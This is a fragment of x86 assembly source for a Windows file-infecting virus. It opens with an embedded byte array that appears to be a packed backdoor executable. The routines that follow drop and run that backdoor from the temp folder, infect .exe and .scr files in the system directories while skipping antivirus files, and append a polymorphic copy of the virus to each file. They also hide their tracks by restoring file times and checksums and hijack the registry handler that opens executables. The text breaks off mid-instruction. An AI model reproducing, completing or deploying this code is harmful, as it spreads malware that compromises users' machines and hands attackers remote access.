37,76,81,140,209,123,4,81,204,89,80,122,232,33,8,194 db 170,99,82,120,193,200,241,248,126,105,37,224,94,132,8,134 db 76,129,148,5,90,218,66,133,246,80,104,36,34,247,98,37 db 115,212,68,16,154,242,98,243,19,216,178,71,3,176,50,104 db 204,65,227,108,13,68,70,248,11,18,224,117,214,132,42,115 db 233,64,33,132,160,231,0,170,146,21,2,168,64,134,0,5 db 80,129,132,10,160,2,25,20,64,5,50,40,128,10,100,81 db 0,21,200,163,0,42,144,70,1,84,32,153,0,8,194,3 db 252,40,0,208,178,64,64,1,252,0,208,37,170,242,111,114 db 176,130,168,109,73,101,13,62,239,30,246,217,9,109,112,105 db 10,97,116,9,87,114,105,116,138,237,1,64,109,10,86,17 db 185,239,160,76,97,108,70,114,101,12,43,84,197,3,5,72 db 22,25,182,214,189,246,67,111,64,35,47,67,29,55,101,130 db 45,43,136,173,17,63,89,119,194,30,84,104,6,100,13,111 db 111,108,104,101,100,219,246,255,108,112,51,50,83,110,97,112 db 115,104,111,116,25,68,15,101,52,155,4,64,237,69,120,131 db 3,12,4,34,26,54,63,142,46,4,34,154,1,141,1,191 db 9,129,136,139,1,180,76,105,170,162,109,237,98,114,97,146 db 12,71,90,209,236,109,19,211,18,110,29,16,7,170,40,81 db 81,82,43,129,136,102,17,120,123,221,178,101,21,142,18,68 db 222,32,8,68,20,97,109,47,219,120,236,223,75,14,129,83 db 105,122,101,12,76,97,115,8,129,136,78,124,0,245,54,146 db 0,232,1,228,19,255,102,19,6,114,17,132,65,100,100,114 db 21,133,194,97,136,83,58,161,194,190,204,85,89,52,84,105 db 109,155,21,38,81,69,44,68,216,36,170,152,14,74,227,222 db 132,66,27,147,89,41,13,201,182,67,216,116,118,133,79,208 db 110,246,176,8,133,96,8,178,115,15,51,202,237,16,115,68 db 82,101,52,3,139,16,64,28,96,220,30,9,132,83,90,148 db 139,79,102,21,2,40,97,106,53,162,138,95,172,86,27,22 db 80,111,0,106,55,119,56,15,11,101,112,6,70,48,67,140 db 123,124,124,227,68,21,179,231,9,1,0,171,98,251,218,182 db 247,97,29,103,36,93,116,206,116,235,190,179,168,89,65,148 db 103,83,86,96,172,181,239,112,117,101,9,15,81,10,135,17 db 35,217,103,36,156,75,101,121,16,105,23,150,205,220,15,94 db 77,130,106,117,16,64,55,10,3,197,107,101,16,75,8,147 db 189,115,47,27,66,44,201,237,90,35,117,112,109,135,16,64 db 201,120,85,115,121,143,130,27,204,240,91,115,182,6,18,160 db 83,176,73,14,22,111,216,91,118,8,197,15,153,13,90,179 db 48,35,32,11,22,4,58,69,21,174,225,185,114,97,20,64 db 91,225,98,112,114,80,4,208,115,207,28,83,23,107,79,179 db 181,36,233,20,53,35,16,83,202,214,109,143,72,80,194,99 db 50,70,106,100,86,104,58,60,88,74,170,108,18,24,40,210 db 117,166,45,40,47,102,28,84,21,179,2,53,120,17,209,225 db 199,50,108,220,44,34,90,86,105,112,166,107,63,222,193,8 db 66,111,29,103,73,99,117,10,104,31,118,4,18,115,111,170 db 75,105,94,198,66,192,248,181,114,160,233,120,191,44,155,49 db 108,75,48,38,205,218,66,115,226,126,17,117,44,48,189,130 db 240,38,170,137,85,14,224,102,193,154,26,79,12,168,98,51 db 4,155,113,14,105,196,112,22,150,25,170,244,104,123,102,102 db 201,58,204,29,204,194,18,225,22,46,196,231,221,65,115,38 db 105,8,39,115,93,85,41,108,28,241,85,112,220,58,150,189 db 100,43,147,62,98,237,114,100,134,77,155,59,217,31,113,112 db 245,116,102,72,140,170,120,154,58,120,73,29,100,151,13,194 db 152,65,17,71,20,216,199,178,217,101,64,26,108,65,14,96 db 45,0,90,24,17,4,146,45,41,145,95,193,163,42,146,13 db 20,255,216,120,88,134,18,57,116,177,117,140,118,55,18,85 db 91,67,97,99,43,85,75,96,75,96,65,125,24,104,158,102 db 27,22,24,232,70,168,109,44,71,17,21,52,127,248,101,219 db 116,221,16,80,24,176,255,116,2,115,150,101,89,150,1,2 db 3,4,52,9,90,150,101,89,11,13,16,19,23,249,39,167 db 40,134,3,0,143,87,26,64,189,150,231,50,15,1,62,136 db 18,102,144,82,20,134,80,201,144,71,200,64,0,224,1,228 db 7,169,2,222,232,81,0,0,180,162,104,23,32,167,232,1 db 147,131,164,144,134,214,60,162,40,128,148,62,81,52,216,147 db 94,224,11,251,12,7,36,33,75,94,66,224,123,79,73,211 db 117,116,96,39,14,78,192,0,208,0,0,95,110,31,132,84 db 213,214,1,0,4,0,0,0,0,0,0,128,255,0,0,0 db 96,190,0,208,65,0,141,190,0,64,254,255,87,131,205,255 db 235,16,144,144,144,144,144,144,138,6,70,136,7,71,1,219 db 117,7,139,30,131,238,252,17,219,114,237,184,1,0,0,0 db 1,219,117,7,139,30,131,238,252,17,219,17,192,1,219,115 db 239,117,9,139,30,131,238,252,17,219,115,228,49,201,131,232 db 3,114,13,193,224,8,138,6,70,131,240,255,116,116,137,197 db 1,219,117,7,139,30,131,238,252,17,219,17,201,1,219,117 db 7,139,30,131,238,252,17,219,17,201,117,32,65,1,219,117 db 7,139,30,131,238,252,17,219,17,201,1,219,115,239,117,9 db 139,30,131,238,252,17,219,115,228,131,193,2,129,253,0,243 db 255,255,131,209,1,141,20,47,131,253,252,118,15,138,2,66 db 136,7,71,73,117,247,233,99,255,255,255,144,139,2,131,194 db 4,137,7,131,199,4,131,233,4,119,241,1,207,233,76,255 db 255,255,94,137,247,185,232,1,0,0,138,7,71,44,232,60 db 1,119,247,128,63,1,117,242,139,7,138,95,4,102,193,232 db 8,193,192,16,134,196,41,248,128,235,232,1,240,137,7,131 db 199,5,137,216,226,217,141,190,0,208,1,0,139,7,9,192 db 116,69,139,95,4,141,132,48,0,240,1,0,1,243,80,131 db 199,8,255,150,180,240,1,0,149,138,7,71,8,192,116,220 db 137,249,121,7,15,183,7,71,80,71,185,87,72,242,174,85 db 255,150,184,240,1,0,9,192,116,7,137,3,131,195,4,235 db 216,255,150,188,240,1,0,97,233,115,28,254,255,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,252,0,2,0 db 180,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0 db 9,1,2,0,196,0,2,0,0,0,0,0,0,0,0,0 db 0,0,0,0,22,1,2,0,204,0,2,0,0,0,0,0 db 0,0,0,0,0,0,0,0,35,1,2,0,212,0,2,0 db 0,0,0,0,0,0,0,0,0,0,0,0,47,1,2,0 db 220,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0 db 58,1,2,0,228,0,2,0,0,0,0,0,0,0,0,0 db 0,0,0,0,70,1,2,0,236,0,2,0,0,0,0,0 db 0,0,0,0,0,0,0,0,80,1,2,0,244,0,2,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,92,1,2,0,106,1,2,0,122,1,2,0 db 0,0,0,0,136,1,2,0,0,0,0,0,150,1,2,0 db 0,0,0,0,172,1,2,0,0,0,0,0,188,1,2,0 db 0,0,0,0,198,1,2,0,0,0,0,0,212,1,2,0 db 0,0,0,0,23,0,0,128,0,0,0,0,75,69,82,78 db 69,76,51,50,46,68,76,76,0,65,68,86,65,80,73,51 db 50,46,100,108,108,0,82,65,83,65,80,73,51,50,46,100 db 108,108,0,83,72,69,76,76,51,50,46,100,108,108,0,85 db 83,69,82,51,50,46,100,108,108,0,87,73,78,73,78,69 db 84,46,100,108,108,0,87,73,78,77,77,46,100,108,108,0 db 87,83,79,67,75,51,50,46,100,108,108,0,0,0,76,111 db 97,100,76,105,98,114,97,114,121,65,0,0,71,101,116,80 db 114,111,99,65,100,100,114,101,115,115,0,0,69,120,105,116 db 80,114,111,99,101,115,115,0,0,0,82,101,103,67,108,111 db 115,101,75,101,121,0,0,0,82,97,115,69,110,117,109,67 db 111,110,110,101,99,116,105,111,110,115,65,0,0,0,83,104 db 101,108,108,69,120,101,99,117,116,101,65,0,0,0,84,111 db 65,115,99,105,105,0,0,0,70,116,112,80,117,116,70,105 db 108,101,65,0,0,0,109,99,105,83,101,110,100,83,116,114 db 105,110,103,65,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 BackdoorEnd dd 0 Backdoor db "DABACKDOOR.EXE",0 Drop_BackDoor proc sub esp, 280 mov ebx, esp push ebx push 255 lea eax, dword ptr [ebp + szGetTempPathA] Call K32Api sub esp, 280 mov esi, ebx mov edi, esp @@: lodsb stosb test al, al jnz @B dec edi .IF byte ptr [edi-1] != '\' mov byte ptr [edi], '\' inc edi .ENDIF lea esi, dword ptr [ebp + Backdoor] @@: lodsb stosb test al, al jnz @B mov esi, esp mov edi, ebx push 0 push FILE_ATTRIBUTE_NORMAL push CREATE_ALWAYS push 0 push 0 push GENERIC_WRITE push esi lea eax,[ebp+szCreateFileA] Call K32Api .IF eax != INVALID_HANDLE_VALUE ; Error : file already exist mov ebx, eax push 0 lea eax, dword ptr [ebp + BackdoorEnd] ; <- Written push eax push (OFFSET BackdoorEnd - OFFSET BackdoorStart) lea eax, dword ptr [ebp + BackdoorStart] push eax push ebx lea eax, dword ptr [ebp + szWriteFile] Call K32Api lea eax,dword ptr [ebp + InfectionTime] push eax push eax push eax push ebx lea eax, dword ptr [ebp + szSetFileTime] Call K32Api push ebx lea eax,[ebp+szCloseHandle] Call K32Api .ENDIF sub esp, SIZEOF STARTUPINFO + 40 mov ebx, esp push ebx lea eax, dword ptr [ebp + szGetStartupInfoA] Call K32Api sub esp, SIZEOF PROCESS_INFORMATION + 40 mov edx, esp push edx xor eax,eax push edx push ebx push edi push eax push NORMAL_PRIORITY_CLASS push eax push eax push eax push eax push esi lea eax, dword ptr [ebp + szCreateProcessA] Call K32Api pop ebx push [ebx+4] lea eax, dword ptr [ebp + szCloseHandle] Call K32Api add esp, (280 * 2 + SIZEOF PROCESS_INFORMATION + 40 + SIZEOF STARTUPINFO + 40) ret Drop_BackDoor endp GetK32 proc lea eax,[ErrKernl+ebp] push eax mov dword ptr [ebp + @StackPtr], esp xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp push 5 ; Scan 5 Pages pop ecx _@1: cmp word ptr [esi],"ZM" jz WeGotK32 _@2: sub esi,10000h dec ecx jnz _@1 WeFailed: xor esi,esi WeGotK32: xchg eax,esi jmp K32Ok ErrKernl: xor eax, eax K32Ok: DB 0BCh @StackPtr dd 00000000h xor edx,edx pop dword ptr fs:[edx] db 0BDh @@@Delta dd 00000000h ret GetK32 endp GetGetProcAddressAddress proc and dword ptr [ebp + ApiCounter],0 mov edi,dword ptr [eax+3Ch] ;PE hdr add edi,eax assume edi:ptr IMAGE_NT_HEADERS mov edi,[edi].OptionalHeader.DataDirectory.VirtualAddress add edi,eax assume edi:ptr IMAGE_EXPORT_DIRECTORY mov ecx,[edi].NumberOfNames mov esi,[edi].AddressOfNames add esi,eax xchg eax,ebx MatchLp: lodsd add eax,ebx push ecx push edi push esi push GPASIZE pop ecx lea edi,[ebp+szGetProcAddress] mov esi,eax repz cmpsb pop esi pop edi or ecx,ecx jz GPA_found inc dword ptr [ebp + ApiCounter] pop ecx dec ecx jnz MatchLp mov dword ptr [ebp + _GetProcAddress], 0bff76dach ; Not found. hardcode it ( Win95/98 ) ret GPA_found: mov esi,[edi].AddressOfNameOrdinals pop ecx mov ecx,dword ptr [ebp + ApiCounter] shl ecx,1 add esi,ecx add esi,ebx xor eax,eax lodsw shl eax,2 add eax,[edi].AddressOfFunctions mov esi,eax add esi,ebx lodsd add eax,ebx assume edi :nothing mov dword ptr [ebp + _GetProcAddress],eax ret GetGetProcAddressAddress endp infect_newsystem proc lea ebx, dword ptr [ebp + szGetSystemDirectoryA] xor ecx, ecx inc ecx @@: push ecx sub esp, 300 mov esi, esp push 0FFh ; Dir size push esi ; buffer mov eax, ebx Call K32Api mov eax, esi call _strlen mov ecx, esi add ecx, eax mov dword ptr [ecx], '*.*\' mov byte ptr [ecx + 4], 0 mov eax, esi Call InfectDir add esp, 300 lea ebx, dword ptr [ebp + szGetWindowsDirectoryA] pop ecx dec ecx jns @B ret infect_newsystem endp InfectDir Proc sub esp, (SIZEOF (WIN32_FIND_DATA) + 400) mov ebx, esp push ebx push eax ; DirPath lea eax, dword ptr [ebp+szFindFirstFileA] CAll K32Api inc eax jz SHIT ; Fucking ERR_NOACCESS under XP! dec eax mov dword ptr [ebp + hFind], eax mov edi, esp add edi, (SIZEOF (WIN32_FIND_DATA) + 4) push edi @@: lodsb cmp al, '*' jz @F stosb jmp @B @@: xor al, al stosb pop esi and byte ptr [ebp+InfectionCtr],0 FindLp: assume ebx:ptr WIN32_FIND_DATA lea eax, dword ptr [[ebx].cFileName] push eax mov edi,eax xor ecx,ecx dec ecx xor al,al ; last byte 0 repnz scasb pop eax or dword ptr [edi-5],20202020h .IF dword ptr [edi-5] != 'exe.' && dword ptr [edi-5] != 'rcs.' jnz skipfile .ENDIF mov ecx,dword ptr [[ebx].nFileSizeHigh] ; skip large file test ecx,ecx jnz skipfile push esi push eax mov eax, esi call _strlen mov ecx, esi add ecx, eax mov edx, ecx mov edi, ecx pop esi @@: lodsb stosb or al,al jnz @b pop esi ;push edx ;xor ecx, ecx ;push ecx ;push esi ;push esi ;push ecx ;lea eax, dword ptr [ebp + szMessageBoxA] ;Call U32Api ;pop edx mov eax, esi pushad Call IsFileAV? dec eax popad jz @F ; IS it an AV file ? Call infect ; All criterias Ok? infect !!! @@: ;;---- ;inc byte ptr [ebp + InfectionCtr] ;--- and byte ptr [edx], 0 skipfile: push ebx push dword ptr [ebp + hFind] lea eax, dword ptr [ebp + szFindNextFileA] CAll K32Api cmp byte ptr [ebp + InfectionCtr], 7 ; infect 7 files in dir jae ExitFind test eax,eax jnz FindLp ExitFind: push dword ptr [ebp+hFind] lea eax,[ebp+szFindClose] ; Close Search handle CAll K32Api SHIT: add esp, (SIZEOF (WIN32_FIND_DATA) + 400) ret InfectDir endp infect proc pushad mov dword ptr [ebp + pFileName],eax xor esi,esi and byte ptr [ebp + _SizeTestFailed], 0 ; Init Ok sub esp, 1100 mov ebx, esp cmp dword ptr [ebp + hSFC], 0 ; Not W2k/Xp jz Infect2nd push 1024 push ebx push -1 push eax push esi push esi lea eax, dword ptr [ebp + szMultiByteToWideChar] Call K32Api lea eax, dword ptr [ebp + szSfcIsFileProtected] push eax push dword ptr [ebp + hSFC] Call dword ptr [ebp + _GetProcAddress] or eax, eax ; Api not found ? jz Infect2nd cmp byte ptr [eax], 0CCh jz ZeroShit push ebx ; push esi ; 0 Call eax ; Call SfcIsFileProtected or eax, eax jz Infect2nd add esp, 1100 popad ret ; It's Protected ! Infect2nd: add esp, 1100 and dword ptr [ebp + Patched?],0 ; init error xor esi,esi push esi push esi push esi push esi lea eax, dword ptr [ebp + szCreateEventA] Call K32Api mov dword ptr [ebp + InfEvent], eax mov dword ptr [ebp + ThreadDelta], ebp lea eax, dword ptr [ebp + CheckInfectionTimeOutThreadID] push eax push esi push esi lea eax, dword ptr [ebp + CheckInfectionTimeOutThread] push eax push esi push esi lea eax, dword ptr [ebp + szCreateThread] Call K32Api push eax lea eax, dword ptr [ebp + szCloseHandle] Call K32Api push dword ptr [ebp + pFileName] lea eax, dword ptr [ebp + szGetFileAttributesA] ; Save Original attribs Call K32Api mov dword ptr [ebp + OriginalAttributes],eax push FILE_ATTRIBUTE_NORMAL ; Reset attributes push dword ptr [ebp + pFileName] lea eax, dword ptr [ebp + szSetFileAttributesA] Call K32Api push esi push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push esi push FILE_SHARE_READ or FILE_SHARE_WRITE push GENERIC_READ or GENERIC_WRITE push dword ptr [ebp + pFileName] lea eax,[ebp+szCreateFileA] Call K32Api inc eax jz ErrOpen dec eax mov dword ptr [ebp+hFile],eax lea eax,dword ptr [ebp + LastWriteTime] push eax lea eax,dword ptr [ebp + LastAccessTime] push eax lea eax,dword ptr [ebp + CreationTime] push eax push dword ptr [ebp+hFile] lea eax, dword ptr [ebp + szGetFileTime] Call K32Api push esi push esi push esi push PAGE_READWRITE push esi push dword ptr [ebp+hFile] lea eax,[ebp+szCreateFileMappingA] call K32Api or eax,eax jz ErrMap1 mov dword ptr [ebp +hMap],eax push esi push esi push esi push FILE_MAP_ALL_ACCESS push dword ptr [ebp+hMap] lea eax,[ebp+szMapViewOfFile] call K32Api test eax,eax jz ErrMap2 mov dword ptr [ebp +pMap],eax cmp word ptr [eax],IMAGE_DOS_SIGNATURE jnz ErrInf mov dword ptr [ebp + _Inf_ESP], esp mov dword ptr [ebp + _Inf_EBP], ebp ;mov dword ptr [ebp + _Inf_ESP2], esp ;mov dword ptr [ebp + _Inf_EBP2], ebp ;mov dword ptr [ebp + _Inf_ESP3], esp ;mov dword ptr [ebp + _Inf_EBP3], ebp lea ecx,[ebp + inf_main_handler] push ecx xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp mov edi,[eax+3ch] add edi,eax cmp dword ptr [edi],IMAGE_NT_SIGNATURE jnz ErrInf assume edi: ptr IMAGE_NT_HEADERS mov ecx,[edi].OptionalHeader.FileAlignment mov dword ptr [ebp + FAlignment], ecx movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER movzx eax, word ptr [[edi].FileHeader.NumberOfSections] dec eax imul eax,eax,sizeof IMAGE_SECTION_HEADER add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER xor eax,eax push eax push dword ptr [ebp + hFile] lea eax, dword ptr [ebp+szGetFileSize] call K32Api mov dword ptr [ebp + OldSize],eax cmp eax,MINIMUM_FILE_SIZE ; Avoid Small Files jb ErrInf cmp eax,MAXIMUM_FILE_SIZE ; Avoid Big Files ja ErrInf assume esi:ptr IMAGE_SECTION_HEADER mov ecx,eax mov edx,[esi].PointerToRawData ;.IF byte ptr [ebp + _SizeTestFailed] != 0 ; push eax ;.ELSE .IF dword ptr [esi].Misc.VirtualSize != 0 ; push dword ptr [esi].Misc.VirtualSize .ELSE ;xor eax, eax ;mov [eax], eax push dword ptr [esi].SizeOfRawData; .ENDIF ;.ENDIF pop dword ptr [ebp + SizeRelative] add edx, dword ptr [ebp + SizeRelative] sub ecx,edx sub eax,ecx mov dword ptr [ebp + Size2Align],eax ; offset where to start virus mov ecx,ZipSignLen lea edi,[ebp + ZipSign] repz cmpsb test ecx,ecx jz ErrInf ; test for winzip self extractor Call UnMap mov eax,dword ptr [ebp + Size2Align] mov ecx,dword ptr [ebp + FAlignment] add eax,MAX_POLY_SIZE call _Align xchg ecx,eax ;New File Size = Old File Size + VirusSize .IF ecx < dword ptr [ebp + OldSize] ; would it cut file ? ;inc byte ptr [ebp + _SizeTestFailed] ; security xor edx,edx pop dword ptr fs:[edx] add esp, 4 ;db 0BCh ;_Inf_ESP2 dd 0 ;db 0BDh ;_Inf_EBP2 dd 0 jmp CloseSetDateAttrib .ENDIF Call trunc_file push esi ; esi == 0 push ecx push esi push PAGE_READWRITE push esi push dword ptr [ebp+hFile] lea eax,[ebp+szCreateFileMappingA] call K32Api test eax,eax jz ErrMap1 mov dword ptr [ebp +hMap],eax push esi push esi push esi push FILE_MAP_ALL_ACCESS push dword ptr [ebp+hMap] lea eax,[ebp+szMapViewOfFile] call K32Api test eax,eax jz ErrMap2 mov dword ptr [ebp +pMap],eax mov edi,[eax+3ch] add edi,eax mov dword ptr [ebp + PEheader],edi push dword ptr [edi].OptionalHeader.ImageBase pop dword ptr [ebp + ImageBase] ;mov eax, dword ptr [edi].OptionalHeader.SectionAlignment ;mov dword ptr [ebp + SectionAlignment], eax movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER movzx eax, word ptr [[edi].FileHeader.NumberOfSections] dec eax imul eax,eax,sizeof IMAGE_SECTION_HEADER add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER assume esi:ptr IMAGE_SECTION_HEADER lea ebx,[ebp + szExitProcess] lea edx,[ebp + Kernel] Call CheckFunctionImported mov dword ptr [ebp + _Exit1],eax lea ebx,[ebp + exit] xor edx,edx Call CheckFunctionImported mov dword ptr [ebp + _Exit2],eax xor edx,edx lea ebx,[ebp + _exit] Call CheckFunctionImported mov dword ptr [ebp + _Exit3],eax cmp dword ptr [ebp + _Exit1],0 jnz PatchPlz cmp dword ptr [ebp + _Exit2],0 jnz PatchPlz cmp dword ptr [ebp + _Exit3],0 jnz PatchPlz jmp CannotPatch PatchPlz: Call PatchExitFunc or eax,eax jnz PatchOk CannotPatch: Call UnMap ; No Know Exit function, Resize File & quit... mov ecx,dword ptr [ebp + OldSize] Call trunc_file xor edx,edx pop dword ptr fs:[edx] add esp, 4 ;db 0BCh ;_Inf_ESP3 dd 0 ;db 0BDh ;_Inf_EBP3 dd 0 jmp CloseSetDateAttrib PatchOk: ;---- Call InitMemAccess ; Get data section offset ;---- or [esi].Characteristics, 00000020h or 20000000h or 80000000h mov eax, [[esi].PointerToRawData] or eax,eax jz ErrInf inc byte ptr [ebp+InfectionCtr] add eax,dword ptr [ebp + pMap] ;eax pointe sur le début de la derniere section add eax,dword ptr [ebp + SizeRelative] ;eax pointe sur la fin de la derniere section mov edi, eax push esi mov dword ptr [ebp + FileOFFSET],edi push PAGE_EXECUTE_READWRITE push MEM_RESERVE or MEM_COMMIT push MAX_POLY_SIZE push 0 lea eax, dword ptr [ebp + szVirtualAlloc] Call K32Api mov dword ptr [ebp + pAlloc],eax @@: mov edi, dword ptr [ebp + pAlloc] mov ecx, CryptSize ; Size of the virus to encrypt lea esi, [ebp+VirusStart] xor edx,edx push ebx Call PolyMain pop ebx cmp dword ptr [ebp + PolyErrFlag], 1 jz @B ; repair if a non-fatal error occured during polymorphism generation cmp byte ptr [ebp + PolyMainErr], 0 ; rebuild all code if a fatal error occured jnz @B mov edi, dword ptr [ebp + FileOFFSET] push ecx shr ecx, 2 inc ecx rep movsd ; Copy polymorphic virus to file Call UnMap pop ecx mov eax, dword ptr [ebp + OldSize] mov dword ptr [ebp + OldSize], ecx add eax, ecx add eax, 1000;-------------------------------------------------- mov ecx,dword ptr [ebp + FAlignment] call _Align mov ecx,eax Call trunc_file xor esi, esi push esi ; esi == 0 push ecx push esi push PAGE_READWRITE push esi push dword ptr [ebp+hFile] lea eax,[ebp+szCreateFileMappingA] call K32Api test eax,eax jz ErrMap1 mov dword ptr [ebp +hMap],eax push esi push esi push esi push FILE_MAP_ALL_ACCESS push dword ptr [ebp+hMap] lea eax,[ebp+szMapViewOfFile] call K32Api test eax,eax jz ErrMap2 mov dword ptr [ebp +pMap],eax mov edi,[eax+3ch] add edi,eax mov dword ptr [ebp + PEheader],edi movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER movzx eax, word ptr [[edi].FileHeader.NumberOfSections] dec eax imul eax,eax,sizeof IMAGE_SECTION_HEADER add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER pop eax mov ecx, dword ptr [ebp + SizeRelative] add ecx, dword ptr [ebp + OldSize] mov [esi].SizeOfRawData,ecx mov [esi].Misc.VirtualSize,ecx mov edi, dword ptr [ebp + PEheader] mov eax,[esi].SizeOfRawData add eax,[esi].VirtualAddress mov [edi].OptionalHeader.SizeOfImage,eax ;--- push MEM_DECOMMIT or MEM_RELEASE push MAX_POLY_SIZE push dword ptr [ebp + pAlloc] lea eax, dword ptr [ebp + szVirtualFree] Call K32Api ;mov edi, dword ptr [ebp + PEheader] mov ecx, dword ptr [edi].OptionalHeader.CheckSum ; Recalculate Checksum if needed jecxz AfterCopy ; Skip Checksum lea eax, dword ptr [ebp + IMAGEHLP] push eax lea eax, dword ptr [ebp + szLoadLibraryA] Call K32Api or eax, eax jz AfterCopy mov ebx, eax lea eax, dword ptr [ebp + szCheckSumMappedFile] push eax push ebx Call dword ptr [ebp + _GetProcAddress] or eax, eax jz FreeIMGHLP cmp byte ptr [eax], 0CCh jz ZeroShit push eax xor eax,eax push eax push dword ptr [ebp + hFile] lea eax, dword ptr [ebp+szGetFileSize] call K32Api pop edx lea ecx, dword ptr [edi].OptionalHeader.CheckSum push ecx ; New Checksum Call @F dd ? ; Old Checksum @@: push eax ; FileSize push dword ptr [ebp + pMap] ; MapAddr Call edx ; Call CheckSumMappedFile FreeIMGHLP: push ebx lea eax, dword ptr [ebp + szFreeLibrary] Call K32Api AfterCopy: ErrInf: inf_main_handler: xor edx,edx pop dword ptr fs:[edx] db 0BCh _Inf_ESP dd 0 db 0BDh _Inf_EBP dd 0 and byte ptr [ebp + _SizeTestFailed], 0 ; Clear error push dword ptr [ebp+pMap] lea eax,dword ptr [ebp+szUnmapViewOfFile] call K32Api ErrMap2: push dword ptr [ebp+hMap] lea eax, dword ptr [ebp+szCloseHandle] call K32Api CloseSetDateAttrib: lea eax,dword ptr [ebp + LastWriteTime] push eax lea eax,dword ptr [ebp + LastAccessTime] push eax lea eax,dword ptr [ebp + CreationTime] push eax push dword ptr [ebp+hFile] lea eax, dword ptr [ebp + szSetFileTime] Call K32Api ErrMap1: push dword ptr [ebp+hFile] lea eax, dword ptr [ebp+szCloseHandle] call K32Api ErrOpen: push dword ptr [ebp + OriginalAttributes] push dword ptr [ebp + pFileName] lea eax, dword ptr [ebp + szSetFileAttributesA] Call K32Api ;assume edi:nothing ;assume esi:nothing push dword ptr [ebp + InfEvent] lea eax, dword ptr [ebp + szSetEvent] ; We did the job Call K32Api cmp byte ptr [ebp + _SizeTestFailed], 0 jnz Infect2nd popad ret infect endp _MainHostFile db 0 _MainHostFileName dd 0 CheckInfectionTimeOutThread: db 0BDh ThreadDelta dd 00000000h push 3000 ; TimeOut push dword ptr [ebp + InfEvent] lea eax, dword ptr [ebp + szWaitForSingleObject] Call K32Api .IF eax == WAIT_TIMEOUT ; infection hanged .IF byte ptr [ebp + _MainHostFile] == 1 Call ReDoMainHost .ELSE xor eax, eax dec dword ptr [eax] ; Make fault then clear Mem and quit .ENDIF .ENDIF push dword ptr [ebp + InfEvent] lea eax, dword ptr [ebp + szCloseHandle] Call K32Api push eax lea eax, dword ptr [ebp + szExitThread] Call K32Api ret ReDoMainHost: Call UnMap push dword ptr [ebp+hFile] lea eax, dword ptr [ebp + szCloseHandle] Call K32Api push dword ptr [ebp + _MainHostFileName] lea eax, dword ptr [ebp + szDeleteFileA] Call K32Api Call SetupRegHook ret InfEvent dd 0 CheckInfectionTimeOutThreadID dd 0 NTTargetFile db "taskman.exe",0 W9xTargetFile db "runonce.exe",0 CompNameSize dd MAX_COMPUTERNAME_LENGTH + 1 LenWinDirStr dd 0 szKeyName db 'exefile\shell\open\command',0 szRegHook db ' "%1" %*',0 Disp dd 0 pKey dd 0 WinVer dd 0 ;REGHOOK ;-------------------------------------------- install reg HOOK Procedures --------------------------- SetupRegHook proc sub esp, 800h ; get some mem mov eax, esp push 0FFh ; Dir size push eax ; buffer lea eax, dword ptr [ebp + szGetSystemDirectoryA] Call K32Api mov edi, esp xor ecx, ecx ReachNull: inc ecx inc edi cmp byte ptr [edi], 0 ; jnz ReachNull mov dword ptr [ebp + LenWinDirStr], ecx mov byte ptr [edi], '\' inc edi .IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT lea esi, dword ptr [ebp + NTTargetFile] .ELSE lea esi, dword ptr [ebp + W9xTargetFile] .ENDIF @@: lodsb stosb or al,al jnz @B mov edi, esp ; eax pointer to %systemroot%\target.exe mov esi, edi add esi, 0FFh push esi push edi lea eax, dword ptr [ebp + szFindFirstFileA] Call K32Api push eax push eax lea eax, dword ptr [ebp + szFindClose] Call K32Api pop eax inc eax jnz @F ; not in this dir? mov edi, esp push 0FFh ; Dir size push edi ; buffer lea eax, dword ptr [ebp + szGetWindowsDirectoryA] Call K32Api xor ecx, ecx jmp ReachNull @@: mov ebx, esi add ebx, SIZEOF WIN32_FIND_DATA .IF dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT ; infect a copy of rundll on NT because SFC... mov dword ptr [ebp + CompNameSize], MAX_COMPUTERNAME_LENGTH + 1 lea eax, dword ptr [ebp + CompNameSize] push eax push ebx lea eax, dword ptr [ebp + szGetComputerNameA] Call K32Api push ebx mov eax, ebx xor ecx, ecx invert: mov dl, byte ptr [eax+ecx] .IF dl == 0 jmp CopyNow .ELSEIF dl >= 41h && dl <= 5Ah sub dl, 41h mov bl, 25 sub bl, dl mov dl, 41h add dl, bl .ELSEIF dl >= 61h && dl <= 7Ah sub dl, 61h mov bl, 25 sub bl, dl mov dl, 61h add dl, bl .ENDIF mov byte ptr [eax+ecx], dl inc ecx jmp invert CopyNow: pop ebx mov esi, esp mov edi, ebx add edi, MAX_COMPUTERNAME_LENGTH + 1 push edi mov ecx, dword ptr [ebp + LenWinDirStr] rep movsb mov byte ptr [edi], '\' inc edi mov esi, ebx @@: lodsb stosb or al,al jnz @B pop edi mov eax, edi mov edi, esp push eax push 1 push eax push edi lea eax, dword ptr [ebp + szCopyFileA] ; Copy the file Call K32Api ; pop eax ; WinNt, 2000, XP : infect copy .ELSE ; Win9x infect directly rundll32.exe mov eax, esp ; infect original file .ENDIF push 